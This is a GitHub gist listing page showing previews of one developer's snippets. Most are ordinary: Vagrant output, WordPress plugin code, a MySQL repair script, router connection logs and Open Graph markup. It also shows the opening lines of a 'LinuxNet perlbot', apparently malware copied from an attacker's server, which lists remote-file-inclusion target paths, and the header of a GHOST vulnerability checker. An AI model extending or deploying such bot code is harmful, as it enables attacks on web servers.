Skip to content

Instantly share code, notes, and snippets.

View tlongren's full-sized avatar
🎯
Focusing

Tyler Longren tlongren

🎯
Focusing
View GitHub Profile
@tlongren
tlongren / midx
Created January 28, 2015 19:06
Some type of perlbot from http://209.236.71.188/midx
#!/usr/bin/perl
# ------------------------------------------------------------- #
# LinuxNet perlbot #
# ------------------------------------------------------------- #
my $processo = '-';
my @titi = ("index.php?page=","main.php?page=");
/*
* GHOST vulnerability check
* http://www.openwall.com/lists/oss-security/2015/01/27/9
* Usage: gcc GHOST.c -o GHOST && ./GHOST
*/
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@tlongren
tlongren / vagrant-output
Created February 7, 2015 21:19
vagrant up output
[tyler:...shotgunsoftware_www/vagrant]$ vagrant up (tweak-announcement✱)
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Checking if box 'hansode/centos-5.2-x86_64' is up to date...
==> default: Clearing any previously set forwarded ports...
==> default: Fixed port collision for 80 => 8080. Now on port 2200.
==> default: Fixed port collision for 22 => 2222. Now on port 2201.
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
default: Adapter 1: nat
==> default: Forwarding ports...
@tlongren
tlongren / Composer.json
Created March 29, 2015 03:54
Composer.json for WordPress Plugin
{
"name": "plugin-name/plugin",
"description": "Your plugin description",
"keywords": ["wordpress", "plugin", "private"],
"homepage": "https://longrendev.io/",
"license": "proprietary",
"authors": [
{
"name": "Tyler Longren",
"email": "tyler@longren.io",
@tlongren
tlongren / mysql-health.sh
Last active August 29, 2015 14:19 — forked from alexalouit/mysql-health.sh
Check And Repair All MySQL Databases on Debian And Ubuntu Linux
#!/bin/sh
#
# cron ex: 0 0 1 * * /usr/bin/nice -n 19 /usr/bin/ionice -c2 -n7 /home/tyler/mysql-health.sh >> /home/tyler/mysql-health.log
mysqlcheck --defaults-file=/etc/mysql/debian.cnf --auto-repair --optimize --all-databases
@tlongren
tlongren / soliloquy-reload-page-on-navigation-click.php
Created April 26, 2015 01:59
Soliloquy - Reload Page on Navigation Click and Scroll to Slider Container
<?php
/**
* Plugin Name: Soliloquy - Reload Page on Navigation Click and Scroll to Slider Container
* Plugin URI: https://longren.io/soliloquy-reload-page-on-navigation-click-and-scroll-to-slider-container
* Version: 1.0
* Author: Tyler Longren
* Author URI: https://longren.io/
* Description: Reloads the entire Page when the next or previous arrows are clicked, or the pager navigation is used. The correct slide is injected into the URL and scrolls to the slider container.
*
* Based on the original plugin from Tim Carr (http://www.n7studios.co.uk). This simply takes the user to the slider after the page reload, good for sliders at the end of posts/pages.
@tlongren
tlongren / soliloquy-reload-page-on-navigation-click.php
Last active August 29, 2015 14:19 — forked from n7studios/soliloquy-reload-page-on-navigation-click.php
Soliloquy - Reload Page on Navigation Click and Go to Slider Container
<?php
/**
* Plugin Name: Soliloquy - Reload Page on Navigation Click and Scroll to Slider Container
* Plugin URI: https://longren.io/soliloquy-reload-page-on-navigation-click-and-scroll-to-slider-container
* Version: 1.0
* Author: Tyler Longren
* Author URI: https://longren.io/
* Description: Reloads the entire Page when the next or previous arrows are clicked, or the pager navigation is used. The correct slide is injected into the URL and scrolls to the slider container.
*
* Based on the original plugin from Tim Carr (http://www.n7studios.co.uk). This simply takes the user to the slider after the page reload, good for sliders at the end of posts/pages.
@tlongren
tlongren / template-portfolio-change-sort.php
Last active September 10, 2015 11:13
Fixed StanleyWP portfolio grid
<?php
/**
Template Name: Portfolio
*
*
* @file template-portfolio.php
* @package StanleyWP
* @author Brad Williams & Carlos Alvarez
* @copyright 2003 - 2014 Gents Themes
* @license license.txt
@tlongren
tlongren / connections.txt
Last active September 11, 2015 23:05
DD-WRT All Connections
tcp 6 117 TIME_WAIT src=192.168.1.9 dst=50.19.209.19 sport=52691 dport=443 src=50.19.209.19 dst=69.66.102.168 sport=443 dport=52691 [ASSURED] use=1 rate=1821 mark=0
udp 17 110 src=192.168.1.10 dst=173.194.115.9 sport=56148 dport=443 src=173.194.115.9 dst=69.66.102.168 sport=443 dport=56148 [ASSURED] use=1 rate=472 mark=0
tcp 6 73 TIME_WAIT src=192.168.1.3 dst=192.168.1.1 sport=39322 dport=80 src=192.168.1.1 dst=192.168.1.3 sport=80 dport=39322 [ASSURED] use=1 rate=468 mark=0
tcp 6 256 ESTABLISHED src=192.168.1.10 dst=52.19.51.179 sport=43811 dport=443 src=52.19.51.179 dst=69.66.102.168 sport=443 dport=43811 [ASSURED] use=1 rate=302 mark=0
udp 17 20 src=192.168.1.126 dst=192.168.1.1 sport=34213 dport=53 src=192.168.1.1 dst=192.168.1.126 sport=53 dport=34213 use=1 rate=51 mark=0
udp 17 8 src=192.168.1.126 dst=192.168.1.1 sport=49128 dport=53 src=192.168.1.1 dst=192.168.1.126 sport=53 dport=49128 use=1 rate=30 mark=0
tcp 6 275 ESTABLISHED src=192.168.1.10 dst=64.233.169.1
@tlongren
tlongren / og.html
Created May 13, 2014 18:59
Open Graph Protocol Markup
<meta property="og:title" content="" /> <!-- post/page title -->
<meta property="og:type" content="" /> <!-- post/page type -->
<meta property="og:image" content="" /> <!-- post/page image -->
<meta property="og:url" content="" /> <!-- post/page url -->
<meta property="og:description" content="" /> <!-- post/page description -->
<meta property="og:site_name" content="" /> <!-- Site Name -->